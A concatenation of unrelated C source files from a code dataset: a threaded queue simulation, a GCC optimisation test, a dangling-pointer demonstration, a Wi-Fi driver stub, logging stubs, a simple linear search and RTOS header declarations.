//create clerk thread
for (int i=1; i<5; i++) {
clerk_info[i] = i;
pthread_create(&clerkId[i], NULL, clerk_entry, (void *)&clerk_info[i]);
}
//create customer thread
for(int i = 0; i < customerNum; i++){ // number of customers
pthread_create(&customId[i], NULL, customer_entry, (void *)&custom_info[i]); //custom_info: passing the customer information (e.g., customer ID, arrival time, service time, etc.) to customer thread
}
// wait for all customer threads to terminate
for (int i = 0; i < customerNum; i++) {
if (pthread_join(customId[i], NULL) != 0) {
printf("Error: failed to join pthread.\n");
exit(1);
}
}
// calculate the average waiting time of all customers
overall_waiting_time = (economy_ave + business_ave)/customerNum;
double buisness = business_ave /cusBusNum;
double economy = economy_ave / cusEcoNum;
printf("The average waiting time for all customers in the system is: %.2f seconds. \n", overall_waiting_time);
printf("The average waiting time for all business-class customers is: %.2f seconds. \n", buisness);
printf("The average waiting time for all economy-class customers is: %.2f seconds. \n", economy);
}
// A utility function to create a new linked list node.
struct QNode* newNode(int k)
{
struct QNode* temp = (struct QNode*)malloc(sizeof(QNode));
temp->key = k;
temp->next = NULL;
return temp;
}
// A utility function to create an empty queue
struct Queue* createQueue(){
struct Queue* q = (struct Queue*)malloc(sizeof(struct Queue));
q->front = q->rear = NULL;
q->size = 0;
return q;
}
// The function to add a key k to q
void enQueue(struct Queue* q, int k){
// Create a new LL node
struct QNode* temp = newNode(k);
// If queue is empty, then new node is front and rear both
if (q->rear == NULL) {
q->front = q->rear = temp;
return;
}
// Add the new node at the end of queue and change rear
q->rear->next = temp;
q->rear = temp;
q->size = q->size + 1;
}
// Function to remove a key from given queue q
void deQueue(struct Queue* q)
{
// If queue is empty, return NULL.
if (q->front == NULL)
return;
// Store previous front and move front one node ahead
struct QNode* temp = q->front;
q->front = q->front->next;
// If front becomes NULL, then change rear also as NULL
if (q->front == NULL)
q->rear = NULL;
q->size = q->size - 1;
free(temp);
}
double getCurSystemTime(){
struct timeval curr;
gettimeofday(&curr, NULL);
double cur = (curr.tv_sec + (double)curr.tv_usec / 1000000);
return cur - time1;
}
|
the_stack_data/242331557.c
|
/* { dg-do compile } */
/* { dg-options "-O2 -fdump-tree-ivopts-details" } */
void foo (double *p)
{
int i;
for (i = -20000; i < 200000; i+= 40)
{
p[i+0] = 1.0;
p[i+1] = 1.0;
p[i+2] = 1.0;
p[i+3] = 1.0;
p[i+4] = 1.0;
p[i+5] = 1.0;
p[i+6] = 1.0;
p[i+7] = 1.0;
p[i+8] = 1.0;
p[i+9] = 1.0;
p[i+10] = 1.0;
p[i+11] = 1.0;
p[i+12] = 1.0;
p[i+13] = 1.0;
p[i+14] = 1.0;
p[i+15] = 1.0;
p[i+16] = 1.0;
p[i+17] = 1.0;
p[i+18] = 1.0;
p[i+19] = 1.0;
p[i+20] = 1.0;
p[i+21] = 1.0;
p[i+22] = 1.0;
p[i+23] = 1.0;
p[i+24] = 1.0;
p[i+25] = 1.0;
p[i+26] = 1.0;
p[i+27] = 1.0;
p[i+28] = 1.0;
p[i+29] = 1.0;
p[i+30] = 1.0;
p[i+31] = 1.0;
p[i+32] = 1.0;
p[i+33] = 1.0;
p[i+34] = 1.0;
p[i+35] = 1.0;
p[i+36] = 1.0;
p[i+37] = 1.0;
p[i+38] = 1.0;
p[i+39] = 1.0;
}
}
/* We should groups address type IV uses. */
/* { dg-final { scan-tree-dump-not "\\nuse 21\\n" "ivopts" } } */
|
the_stack_data/36176.c
|
extern int printf ( const char * format, ... );
int main(void) {
int *myPointerA = ((void*) 0);
int *myPointerB = ((void*) 0);
{
int myNumberA = 7;
myPointerA = &myNumberA;
// scope of myNumber ends here
}
int myNumberB = 3;
myPointerB = &myNumberB;
int sumOfMyNumbers = *myPointerA + *myPointerB; // myPointerA is out of scope
printf("%d", sumOfMyNumbers);
return 0;
}
|
the_stack_data/99934.c
|
#define NULL ((void*)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t; typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1
/* Forward declarations */
typedef struct TYPE_2__ TYPE_1__ ;
/* Type definitions */
struct rtl_phy {TYPE_1__* phyreg_def; } ;
struct rtl_priv {struct rtl_phy phy; } ;
struct ieee80211_hw {int dummy; } ;
struct TYPE_2__ {int /*<<< orphan*/ rf_rbpi; int /*<<< orphan*/ rf_rb; int /*<<< orphan*/ rftx_afe; int /*<<< orphan*/ rftxiq_imbal; int /*<<< orphan*/ rfrx_afe; int /*<<< orphan*/ rfrxiq_imbal; int /*<<< orphan*/ rfagc_control2; int /*<<< orphan*/ rfagc_control1; void* rfsw_ctrl; int /*<<< orphan*/ rfhssi_para2; int /*<<< orphan*/ rfhssi_para1; void* rftxgain_stage; void* rflssi_select; int /*<<< orphan*/ rf3wire_offset; void* rfintfe; void* rfintfo; void* rfintfi; void* rfintfs; } ;
/* Variables and functions */
size_t RF90_PATH_A ;
size_t RF90_PATH_B ;
size_t RF90_PATH_C ;
size_t RF90_PATH_D ;
void* RFPGA0_TXGAINSTAGE ;
void* RFPGA0_XAB_RFINTERFACERB ;
void* RFPGA0_XAB_RFINTERFACESW ;
void* RFPGA0_XAB_RFPARAMETER ;
void* RFPGA0_XAB_SWITCHCONTROL ;
int /*<<< orphan*/ RFPGA0_XA_HSSIPARAMETER1 ;
int /*<<< orphan*/ RFPGA0_XA_HSSIPARAMETER2 ;
int /*<<< orphan*/ RFPGA0_XA_LSSIPARAMETER ;
int /*<<< orphan*/ RFPGA0_XA_LSSIREADBACK ;
void* RFPGA0_XA_RFINTERFACEOE ;
int /*<<< orphan*/ RFPGA0_XB_HSSIPARAMETER1 ;
int /*<<< orphan*/ RFPGA0_XB_HSSIPARAMETER2 ;
int /*<<< orphan*/ RFPGA0_XB_LSSIPARAMETER ;
int /*<<< orphan*/ RFPGA0_XB_LSSIREADBACK ;
void* RFPGA0_XB_RFINTERFACEOE ;
void* RFPGA0_XCD_RFINTERFACERB ;
void* RFPGA0_XCD_RFINTERFACESW ;
void* RFPGA0_XCD_RFPARAMETER ;
void* RFPGA0_XCD_SWITCHCONTROL ;
int /*<<< orphan*/ ROFDM0_XAAGCCORE1 ;
int /*<<< orphan*/ ROFDM0_XAAGCCORE2 ;
int /*<<< orphan*/ ROFDM0_XARXAFE ;
int /*<<< orphan*/ ROFDM0_XARXIQIMBALANCE ;
int /*<<< orphan*/ ROFDM0_XATXAFE ;
int /*<<< orphan*/ ROFDM0_XATXIQIMBALANCE ;
int /*<<< orphan*/ ROFDM0_XBAGCCORE1 ;
int /*<<< orphan*/ ROFDM0_XBAGCCORE2 ;
int /*<<< orphan*/ ROFDM0_XBRXAFE ;
int /*<<< orphan*/ ROFDM0_XBRXIQIMBALANCE ;
int /*<<< orphan*/ ROFDM0_XBTXAFE ;
int /*<<< orphan*/ ROFDM0_XBTXIQIMBALANCE ;
int /*<<< orphan*/ ROFDM0_XCAGCCORE1 ;
int /*<<< orphan*/ ROFDM0_XCAGCCORE2 ;
int /*<<< orphan*/ ROFDM0_XCRXAFE ;
int /*<<< orphan*/ ROFDM0_XCRXIQIMBANLANCE ;
int /*<<< orphan*/ ROFDM0_XCTXIQIMBALANCE ;
int /*<<< orphan*/ ROFDM0_XDAGCCORE1 ;
int /*<<< orphan*/ ROFDM0_XDAGCCORE2 ;
int /*<<< orphan*/ ROFDM0_XDRXAFE ;
int /*<<< orphan*/ ROFDM0_XDRXIQIMBALANCE ;
int /*<<< orphan*/ ROFDM0_XDTXIQIMBALANCE ;
int /*<<< orphan*/ TRANSCEIVEA_HSPI_READBACK ;
int /*<<< orphan*/ TRANSCEIVEB_HSPI_READBACK ;
struct rtl_priv* rtl_priv (struct ieee80211_hw*) ;
__attribute__((used)) static void _rtl88e_phy_init_bb_rf_register_definition(struct ieee80211_hw *hw)
{
struct rtl_priv *rtlpriv = rtl_priv(hw);
struct rtl_phy *rtlphy = &rtlpriv->phy;
rtlphy->phyreg_def[RF90_PATH_A].rfintfs = RFPGA0_XAB_RFINTERFACESW;
rtlphy->phyreg_def[RF90_PATH_B].rfintfs = RFPGA0_XAB_RFINTERFACESW;
rtlphy->phyreg_def[RF90_PATH_C].rfintfs = RFPGA0_XCD_RFINTERFACESW;
rtlphy->phyreg_def[RF90_PATH_D].rfintfs = RFPGA0_XCD_RFINTERFACESW;
rtlphy->phyreg_def[RF90_PATH_A].rfintfi = RFPGA0_XAB_RFINTERFACERB;
rtlphy->phyreg_def[RF90_PATH_B].rfintfi = RFPGA0_XAB_RFINTERFACERB;
rtlphy->phyreg_def[RF90_PATH_C].rfintfi = RFPGA0_XCD_RFINTERFACERB;
rtlphy->phyreg_def[RF90_PATH_D].rfintfi = RFPGA0_XCD_RFINTERFACERB;
rtlphy->phyreg_def[RF90_PATH_A].rfintfo = RFPGA0_XA_RFINTERFACEOE;
rtlphy->phyreg_def[RF90_PATH_B].rfintfo = RFPGA0_XB_RFINTERFACEOE;
rtlphy->phyreg_def[RF90_PATH_A].rfintfe = RFPGA0_XA_RFINTERFACEOE;
rtlphy->phyreg_def[RF90_PATH_B].rfintfe = RFPGA0_XB_RFINTERFACEOE;
rtlphy->phyreg_def[RF90_PATH_A].rf3wire_offset =
RFPGA0_XA_LSSIPARAMETER;
rtlphy->phyreg_def[RF90_PATH_B].rf3wire_offset =
RFPGA0_XB_LSSIPARAMETER;
rtlphy->phyreg_def[RF90_PATH_A].rflssi_select = RFPGA0_XAB_RFPARAMETER;
rtlphy->phyreg_def[RF90_PATH_B].rflssi_select = RFPGA0_XAB_RFPARAMETER;
rtlphy->phyreg_def[RF90_PATH_C].rflssi_select = RFPGA0_XCD_RFPARAMETER;
rtlphy->phyreg_def[RF90_PATH_D].rflssi_select = RFPGA0_XCD_RFPARAMETER;
rtlphy->phyreg_def[RF90_PATH_A].rftxgain_stage = RFPGA0_TXGAINSTAGE;
rtlphy->phyreg_def[RF90_PATH_B].rftxgain_stage = RFPGA0_TXGAINSTAGE;
rtlphy->phyreg_def[RF90_PATH_C].rftxgain_stage = RFPGA0_TXGAINSTAGE;
rtlphy->phyreg_def[RF90_PATH_D].rftxgain_stage = RFPGA0_TXGAINSTAGE;
rtlphy->phyreg_def[RF90_PATH_A].rfhssi_para1 = RFPGA0_XA_HSSIPARAMETER1;
rtlphy->phyreg_def[RF90_PATH_B].rfhssi_para1 = RFPGA0_XB_HSSIPARAMETER1;
rtlphy->phyreg_def[RF90_PATH_A].rfhssi_para2 = RFPGA0_XA_HSSIPARAMETER2;
rtlphy->phyreg_def[RF90_PATH_B].rfhssi_para2 = RFPGA0_XB_HSSIPARAMETER2;
rtlphy->phyreg_def[RF90_PATH_A].rfsw_ctrl =
RFPGA0_XAB_SWITCHCONTROL;
rtlphy->phyreg_def[RF90_PATH_B].rfsw_ctrl =
RFPGA0_XAB_SWITCHCONTROL;
rtlphy->phyreg_def[RF90_PATH_C].rfsw_ctrl =
RFPGA0_XCD_SWITCHCONTROL;
rtlphy->phyreg_def[RF90_PATH_D].rfsw_ctrl =
RFPGA0_XCD_SWITCHCONTROL;
rtlphy->phyreg_def[RF90_PATH_A].rfagc_control1 = ROFDM0_XAAGCCORE1;
rtlphy->phyreg_def[RF90_PATH_B].rfagc_control1 = ROFDM0_XBAGCCORE1;
rtlphy->phyreg_def[RF90_PATH_C].rfagc_control1 = ROFDM0_XCAGCCORE1;
rtlphy->phyreg_def[RF90_PATH_D].rfagc_control1 = ROFDM0_XDAGCCORE1;
rtlphy->phyreg_def[RF90_PATH_A].rfagc_control2 = ROFDM0_XAAGCCORE2;
rtlphy->phyreg_def[RF90_PATH_B].rfagc_control2 = ROFDM0_XBAGCCORE2;
rtlphy->phyreg_def[RF90_PATH_C].rfagc_control2 = ROFDM0_XCAGCCORE2;
rtlphy->phyreg_def[RF90_PATH_D].rfagc_control2 = ROFDM0_XDAGCCORE2;
rtlphy->phyreg_def[RF90_PATH_A].rfrxiq_imbal = ROFDM0_XARXIQIMBALANCE;
rtlphy->phyreg_def[RF90_PATH_B].rfrxiq_imbal = ROFDM0_XBRXIQIMBALANCE;
rtlphy->phyreg_def[RF90_PATH_C].rfrxiq_imbal = ROFDM0_XCRXIQIMBANLANCE;
rtlphy->phyreg_def[RF90_PATH_D].rfrxiq_imbal = ROFDM0_XDRXIQIMBALANCE;
rtlphy->phyreg_def[RF90_PATH_A].rfrx_afe = ROFDM0_XARXAFE;
rtlphy->phyreg_def[RF90_PATH_B].rfrx_afe = ROFDM0_XBRXAFE;
rtlphy->phyreg_def[RF90_PATH_C].rfrx_afe = ROFDM0_XCRXAFE;
rtlphy->phyreg_def[RF90_PATH_D].rfrx_afe = ROFDM0_XDRXAFE;
rtlphy->phyreg_def[RF90_PATH_A].rftxiq_imbal = ROFDM0_XATXIQIMBALANCE;
rtlphy->phyreg_def[RF90_PATH_B].rftxiq_imbal = ROFDM0_XBTXIQIMBALANCE;
rtlphy->phyreg_def[RF90_PATH_C].rftxiq_imbal = ROFDM0_XCTXIQIMBALANCE;
rtlphy->phyreg_def[RF90_PATH_D].rftxiq_imbal = ROFDM0_XDTXIQIMBALANCE;
rtlphy->phyreg_def[RF90_PATH_A].rftx_afe = ROFDM0_XATXAFE;
rtlphy->phyreg_def[RF90_PATH_B].rftx_afe = ROFDM0_XBTXAFE;
rtlphy->phyreg_def[RF90_PATH_A].rf_rb = RFPGA0_XA_LSSIREADBACK;
rtlphy->phyreg_def[RF90_PATH_B].rf_rb = RFPGA0_XB_LSSIREADBACK;
rtlphy->phyreg_def[RF90_PATH_A].rf_rbpi = TRANSCEIVEA_HSPI_READBACK;
rtlphy->phyreg_def[RF90_PATH_B].rf_rbpi = TRANSCEIVEB_HSPI_READBACK;
}
|
the_stack_data/119381.c
|
enum cs_log_level {
LL_NONE = -1,
LL_ERROR = 0,
LL_WARN = 1,
LL_INFO = 2,
LL_DEBUG = 3,
LL_VERBOSE_DEBUG = 4,
_LL_MIN = -2,
_LL_MAX = 5,
};
int cs_log_print_prefix(enum cs_log_level level, const char *func,
const char *filename) {
(void) level;
(void) func;
(void) filename;
return 0;
}
void cs_log_printf(const char *fmt, ...) {
(void) fmt;
return;
}
|
the_stack_data/1187516.c
|
int main()
{
// clang-format off
for_loop: for(int i=0; i<5; ++i) { while(i<5) ++i; }
// clang-format on
return 0;
}
|
the_stack_data/11630.c
|
#include<stdio.h>
int main()
{
int i,n,item,a[20];
printf("Enter no. of elements\n");
scanf("%d",&n);
printf("Enter the elements\n");
for(i=0;i<n;i++)
{
scanf("%d",&a[i]);
}
printf("Enter the item to be searched\n");
scanf("%d",&item);
for(i=0;i<n;i++)
{
if(a[i]==item)
{
printf("Found at index %d",i);
break;
}
if(i==n)
printf("Not Found");
}
return 0;
}
|
the_stack_data/159516255.c
|
typedef int ptrdiff_t;
typedef unsigned int size_t;
typedef unsigned int wchar_t;
typedef struct {
long long __max_align_ll __attribute__((__aligned__(__alignof__(long long))));
long double __max_align_ld __attribute__((__aligned__(__alignof__(long double))));
} max_align_t;
typedef signed char __int8_t;
typedef unsigned char __uint8_t;
typedef short int __int16_t;
typedef short unsigned int __uint16_t;
typedef long int __int32_t;
typedef long unsigned int __uint32_t;
typedef long long int __int64_t;
typedef long long unsigned int __uint64_t;
typedef signed char __int_least8_t;
typedef unsigned char __uint_least8_t;
typedef short int __int_least16_t;
typedef short unsigned int __uint_least16_t;
typedef long int __int_least32_t;
typedef long unsigned int __uint_least32_t;
typedef long long int __int_least64_t;
typedef long long unsigned int __uint_least64_t;
typedef int __intptr_t;
typedef unsigned int __uintptr_t;
typedef __int8_t int8_t ;
typedef __uint8_t uint8_t ;
typedef __int16_t int16_t ;
typedef __uint16_t uint16_t ;
typedef __int32_t int32_t ;
typedef __uint32_t uint32_t ;
typedef __int64_t int64_t ;
typedef __uint64_t uint64_t ;
typedef __intptr_t intptr_t;
typedef __uintptr_t uintptr_t;
typedef __int_least8_t int_least8_t;
typedef __uint_least8_t uint_least8_t;
typedef __int_least16_t int_least16_t;
typedef __uint_least16_t uint_least16_t;
typedef __int_least32_t int_least32_t;
typedef __uint_least32_t uint_least32_t;
typedef __int_least64_t int_least64_t;
typedef __uint_least64_t uint_least64_t;
typedef int int_fast8_t;
typedef unsigned int uint_fast8_t;
typedef int int_fast16_t;
typedef unsigned int uint_fast16_t;
typedef int int_fast32_t;
typedef unsigned int uint_fast32_t;
typedef long long int int_fast64_t;
typedef long long unsigned int uint_fast64_t;
typedef long long int intmax_t;
typedef long long unsigned int uintmax_t;
typedef int _LOCK_T;
typedef int _LOCK_RECURSIVE_T;
typedef long __blkcnt_t;
typedef long __blksize_t;
typedef __uint64_t __fsblkcnt_t;
typedef __uint32_t __fsfilcnt_t;
typedef long _off_t;
typedef int __pid_t;
typedef short __dev_t;
typedef unsigned short __uid_t;
typedef unsigned short __gid_t;
typedef __uint32_t __id_t;
typedef unsigned short __ino_t;
typedef __uint32_t __mode_t;
__extension__ typedef long long _off64_t;
typedef _off_t __off_t;
typedef _off64_t __loff_t;
typedef long __key_t;
typedef long _fpos_t;
typedef unsigned int __size_t;
typedef signed int _ssize_t;
typedef _ssize_t __ssize_t;
typedef unsigned int wint_t;
typedef struct
{
int __count;
union
{
wint_t __wch;
unsigned char __wchb[4];
} __value;
} _mbstate_t;
typedef _LOCK_RECURSIVE_T _flock_t;
typedef void *_iconv_t;
typedef unsigned long __clock_t;
typedef long __time_t;
typedef unsigned long __clockid_t;
typedef unsigned long __timer_t;
typedef __uint8_t __sa_family_t;
typedef __uint32_t __socklen_t;
typedef unsigned short __nlink_t;
typedef long __suseconds_t;
typedef unsigned long __useconds_t;
typedef char * __va_list;
typedef unsigned long __ULong;
struct _reent;
struct __locale_t;
struct _Bigint
{
struct _Bigint *_next;
int _k, _maxwds, _sign, _wds;
__ULong _x[1];
};
struct __tm
{
int __tm_sec;
int __tm_min;
int __tm_hour;
int __tm_mday;
int __tm_mon;
int __tm_year;
int __tm_wday;
int __tm_yday;
int __tm_isdst;
};
struct _on_exit_args {
void * _fnargs[32];
void * _dso_handle[32];
__ULong _fntypes;
__ULong _is_cxa;
};
struct _atexit {
struct _atexit *_next;
int _ind;
void (*_fns[32])(void);
struct _on_exit_args _on_exit_args;
};
struct __sbuf {
unsigned char *_base;
int _size;
};
struct __sFILE {
unsigned char *_p;
int _r;
int _w;
short _flags;
short _file;
struct __sbuf _bf;
int _lbfsize;
void * _cookie;
int (* _read) (struct _reent *, void *, char *, int)
;
int (* _write) (struct _reent *, void *, const char *, int)
;
_fpos_t (* _seek) (struct _reent *, void *, _fpos_t, int);
int (* _close) (struct _reent *, void *);
struct __sbuf _ub;
unsigned char *_up;
int _ur;
unsigned char _ubuf[3];
unsigned char _nbuf[1];
struct __sbuf _lb;
int _blksize;
_off_t _offset;
struct _reent *_data;
_flock_t _lock;
_mbstate_t _mbstate;
int _flags2;
};
typedef struct __sFILE __FILE;
struct _glue
{
struct _glue *_next;
int _niobs;
__FILE *_iobs;
};
struct _rand48 {
unsigned short _seed[3];
unsigned short _mult[3];
unsigned short _add;
};
struct _reent
{
int _errno;
__FILE *_stdin, *_stdout, *_stderr;
int _inc;
char _emergency[25];
int _unspecified_locale_info;
struct __locale_t *_locale;
int __sdidinit;
void (* __cleanup) (struct _reent *);
struct _Bigint *_result;
int _result_k;
struct _Bigint *_p5s;
struct _Bigint **_freelist;
int _cvtlen;
char *_cvtbuf;
union
{
struct
{
unsigned int _unused_rand;
char * _strtok_last;
char _asctime_buf[26];
struct __tm _localtime_buf;
int _gamma_signgam;
__extension__ unsigned long long _rand_next;
struct _rand48 _r48;
_mbstate_t _mblen_state;
_mbstate_t _mbtowc_state;
_mbstate_t _wctomb_state;
char _l64a_buf[8];
char _signal_buf[24];
int _getdate_err;
_mbstate_t _mbrlen_state;
_mbstate_t _mbrtowc_state;
_mbstate_t _mbsrtowcs_state;
_mbstate_t _wcrtomb_state;
_mbstate_t _wcsrtombs_state;
int _h_errno;
} _reent;
struct
{
unsigned char * _nextf[30];
unsigned int _nmalloc[30];
} _unused;
} _new;
struct _atexit *_atexit;
struct _atexit _atexit0;
void (**(_sig_func))(int);
struct _glue __sglue;
__FILE __sf[3];
};
extern struct _reent *_impure_ptr ;
extern struct _reent *const _global_impure_ptr ;
void _reclaim_reent (struct _reent *);
struct __locale_t;
typedef struct __locale_t *locale_t;
void * memchr (const void *, int, size_t);
int memcmp (const void *, const void *, size_t);
void * memcpy (void * restrict, const void * restrict, size_t);
void * memmove (void *, const void *, size_t);
void * memset (void *, int, size_t);
char *strcat (char *restrict, const char *restrict);
char *strchr (const char *, int);
int strcmp (const char *, const char *);
int strcoll (const char *, const char *);
char *strcpy (char *restrict, const char *restrict);
size_t strcspn (const char *, const char *);
char *strerror (int);
size_t strlen (const char *);
char *strncat (char *restrict, const char *restrict, size_t);
int strncmp (const char *, const char *, size_t);
char *strncpy (char *restrict, const char *restrict, size_t);
char *strpbrk (const char *, const char *);
char *strrchr (const char *, int);
size_t strspn (const char *, const char *);
char *strstr (const char *, const char *);
char *strtok (char *restrict, const char *restrict);
size_t strxfrm (char *restrict, const char *restrict, size_t);
int strcoll_l (const char *, const char *, locale_t);
char *strerror_l (int, locale_t);
size_t strxfrm_l (char *restrict, const char *restrict, size_t, locale_t);
char *strtok_r (char *restrict, const char *restrict, char **restrict);
int bcmp (const void *, const void *, size_t);
void bcopy (const void *, void *, size_t);
void bzero (void *, size_t);
void explicit_bzero (void *, size_t);
int timingsafe_bcmp (const void *, const void *, size_t);
int timingsafe_memcmp (const void *, const void *, size_t);
int ffs (int);
char *index (const char *, int);
void * memccpy (void * restrict, const void * restrict, int, size_t);
char *rindex (const char *, int);
char *stpcpy (char *restrict, const char *restrict);
char *stpncpy (char *restrict, const char *restrict, size_t);
int strcasecmp (const char *, const char *);
char *strdup (const char *);
char *_strdup_r (struct _reent *, const char *);
char *strndup (const char *, size_t);
char *_strndup_r (struct _reent *, const char *, size_t);
int strerror_r (int, char *, size_t)
__asm__ ("" "__xpg_strerror_r")
;
char * _strerror_r (struct _reent *, int, int, int *);
size_t strlcat (char *, const char *, size_t);
size_t strlcpy (char *, const char *, size_t);
int strncasecmp (const char *, const char *, size_t);
size_t strnlen (const char *, size_t);
char *strsep (char **, const char *);
char *strlwr (char *);
char *strupr (char *);
char *strsignal (int __signo);
typedef char name_t;
typedef uint32_t sem_count_t;
typedef uint32_t cpu_stack_t;
typedef uint32_t hr_timer_t;
typedef uint32_t lr_timer_t;
typedef uint32_t mutex_nested_t;
typedef uint8_t suspend_nested_t;
typedef uint64_t ctx_switch_t;
typedef uint32_t cpu_cpsr_t;
typedef enum {
RHINO_SUCCESS = 0u,
RHINO_SYS_FATAL_ERR,
RHINO_SYS_SP_ERR,
RHINO_RUNNING,
RHINO_STOPPED,
RHINO_INV_PARAM,
RHINO_NULL_PTR,
RHINO_INV_ALIGN,
RHINO_KOBJ_TYPE_ERR,
RHINO_KOBJ_DEL_ERR,
RHINO_KOBJ_DOCKER_EXIST,
RHINO_KOBJ_BLK,
RHINO_KOBJ_SET_FULL,
RHINO_NOTIFY_FUNC_EXIST,
RHINO_MM_POOL_SIZE_ERR = 100u,
RHINO_MM_ALLOC_SIZE_ERR,
RHINO_MM_FREE_ADDR_ERR,
RHINO_MM_CORRUPT_ERR,
RHINO_DYN_MEM_PROC_ERR,
RHINO_NO_MEM,
RHINO_RINGBUF_FULL,
RHINO_RINGBUF_EMPTY,
RHINO_SCHED_DISABLE = 200u,
RHINO_SCHED_ALREADY_ENABLED,
RHINO_SCHED_LOCK_COUNT_OVF,
RHINO_INV_SCHED_WAY,
RHINO_TASK_INV_STACK_SIZE = 300u,
RHINO_TASK_NOT_SUSPENDED,
RHINO_TASK_DEL_NOT_ALLOWED,
RHINO_TASK_SUSPEND_NOT_ALLOWED,
RHINO_SUSPENDED_COUNT_OVF,
RHINO_BEYOND_MAX_PRI,
RHINO_PRI_CHG_NOT_ALLOWED,
RHINO_INV_TASK_STATE,
RHINO_IDLE_TASK_EXIST,
RHINO_NO_PEND_WAIT = 400u,
RHINO_BLK_ABORT,
RHINO_BLK_TIMEOUT,
RHINO_BLK_DEL,
RHINO_BLK_INV_STATE,
RHINO_BLK_POOL_SIZE_ERR,
RHINO_TIMER_STATE_INV = 500u,
RHINO_NO_THIS_EVENT_OPT = 600u,
RHINO_BUF_QUEUE_INV_SIZE = 700u,
RHINO_BUF_QUEUE_SIZE_ZERO,
RHINO_BUF_QUEUE_FULL,
RHINO_BUF_QUEUE_MSG_SIZE_OVERFLOW,
RHINO_QUEUE_FULL,
RHINO_QUEUE_NOT_FULL,
RHINO_SEM_OVF = 800u,
RHINO_SEM_TASK_WAITING,
RHINO_MUTEX_NOT_RELEASED_BY_OWNER = 900u,
RHINO_MUTEX_OWNER_NESTED,
RHINO_MUTEX_NESTED_OVF,
RHINO_NOT_CALLED_BY_INTRPT = 1000u,
RHINO_TRY_AGAIN,
RHINO_WORKQUEUE_EXIST = 1100u,
RHINO_WORKQUEUE_NOT_EXIST,
RHINO_WORKQUEUE_WORK_EXIST,
RHINO_WORKQUEUE_BUSY,
RHINO_WORKQUEUE_WORK_RUNNING,
RHINO_TASK_STACK_OVF = 1200u,
RHINO_INTRPT_STACK_OVF
} kstat_t;
typedef void (*krhino_err_proc_t)(kstat_t err);
extern krhino_err_proc_t g_err_proc;
typedef struct {
cpu_cpsr_t cpsr;
} kspinlock_t;
typedef uint64_t sys_time_t;
typedef int64_t sys_time_i_t;
typedef uint64_t idle_count_t;
typedef uint64_t tick_t;
typedef int64_t tick_i_t;
kstat_t krhino_init(void);
kstat_t krhino_start(void);
kstat_t krhino_intrpt_enter(void);
void krhino_intrpt_exit(void);
void krhino_intrpt_stack_ovf_check(void);
tick_t krhino_next_sleep_ticks_get(void);
size_t krhino_global_space_get(void);
uint32_t krhino_version_get(void);
static inline void krhino_bitmap_set(uint32_t *bitmap, int32_t nr)
{
bitmap[((nr) >> 5U)] |= (1UL << (32U - 1U - ((nr) & 0X0000001F)));
}
static inline void krhino_bitmap_clear(uint32_t *bitmap, int32_t nr)
{
bitmap[((nr) >> 5U)] &= ~(1UL << (32U - 1U - ((nr) & 0X0000001F)));
}
static inline uint8_t krhino_clz32(uint32_t x)
{
uint8_t n = 0;
if (x == 0) {
return 32;
}
if ((x & 0XFFFF0000) == 0) {
x <<= 16;
n += 16;
}
if ((x & 0XFF000000) == 0) {
x <<= 8;
n += 8;
}
if ((x & 0XF0000000) == 0) {
x <<= 4;
n += 4;
}
if ((x & 0XC0000000) == 0) {
x <<= 2;
n += 2;
}
if ((x & 0X80000000) == 0) {
n += 1;
}
return n;
}
static inline uint8_t krhino_ctz32(uint32_t x)
{
uint8_t n = 0;
if (x == 0) {
return 32;
}
if ((x & 0X0000FFFF) == 0) {
x >>= 16;
n += 16;
}
if ((x & 0X000000FF) == 0) {
x >>= 8;
n += 8;
}
if ((x & 0X0000000F) == 0) {
x >>= 4;
n += 4;
}
if ((x & 0X00000003) == 0) {
x >>= 2;
n += 2;
}
if ((x & 0X00000001) == 0) {
n += 1;
}
return n;
}
static inline int32_t krhino_find_first_bit(uint32_t *bitmap)
{
int32_t nr = 0;
uint32_t tmp = 0;
while (*bitmap == 0UL) {
nr += 32U;
bitmap++;
}
tmp = *bitmap;
if (!(tmp & 0XFFFF0000)) {
tmp <<= 16;
nr += 16;
}
if (!(tmp & 0XFF000000)) {
tmp <<= 8;
nr += 8;
}
if (!(tmp & 0XF0000000)) {
tmp <<= 4;
nr += 4;
}
if (!(tmp & 0XC0000000)) {
tmp <<= 2;
nr += 2;
}
if (!(tmp & 0X80000000)) {
nr += 1;
}
return nr;
}
typedef struct klist_s {
struct klist_s *next;
struct klist_s *prev;
} klist_t;
static inline void klist_init(klist_t *list_head)
{
list_head->next = list_head;
list_head->prev = list_head;
}
static inline uint8_t is_klist_empty(klist_t *list)
{
return (list->next == list);
}
static inline void klist_insert(klist_t *head, klist_t *element)
{
element->prev = head->prev;
element->next = head;
head->prev->next = element;
head->prev = element;
}
static inline void klist_add(klist_t *head, klist_t *element)
{
element->prev = head;
element->next = head->next;
head->next->prev = element;
head->next = element;
}
static inline void klist_rm(klist_t *element)
{
element->prev->next = element->next;
element->next->prev = element->prev;
}
static inline void klist_rm_init(klist_t *element)
{
element->prev->next = element->next;
element->next->prev = element->prev;
element->next = element->prev = element;
}
typedef enum {
BLK_POLICY_PRI = 0u,
BLK_POLICY_FIFO
} blk_policy_t;
typedef enum {
BLK_FINISH = 0,
BLK_ABORT,
BLK_TIMEOUT,
BLK_DEL,
BLK_INVALID
} blk_state_t;
typedef enum {
RHINO_OBJ_TYPE_NONE = 0,
RHINO_SEM_OBJ_TYPE,
RHINO_MUTEX_OBJ_TYPE,
RHINO_QUEUE_OBJ_TYPE,
RHINO_BUF_QUEUE_OBJ_TYPE,
RHINO_TIMER_OBJ_TYPE,
RHINO_EVENT_OBJ_TYPE,
RHINO_MM_OBJ_TYPE
} kobj_type_t;
typedef struct blk_obj {
klist_t blk_list;
const name_t *name;
blk_policy_t blk_policy;
kobj_type_t obj_type;
} blk_obj_t;
typedef struct {
klist_t task_head;
klist_t mutex_head;
klist_t mblkpool_head;
klist_t sem_head;
klist_t queue_head;
klist_t event_head;
klist_t buf_queue_head;
} kobj_list_t;
typedef struct {
klist_t *cur_list_item[62];
uint32_t task_bit_map[((62 + 31) / 32)];
uint8_t highest_pri;
} runqueue_t;
kstat_t krhino_sched_disable(void);
kstat_t krhino_sched_enable(void);
typedef enum {
K_SEED,
K_RDY,
K_PEND,
K_SUSPENDED,
K_PEND_SUSPENDED,
K_SLEEP,
K_SLEEP_SUSPENDED,
K_DELETED,
} task_stat_t;
typedef struct {
void *task_stack;
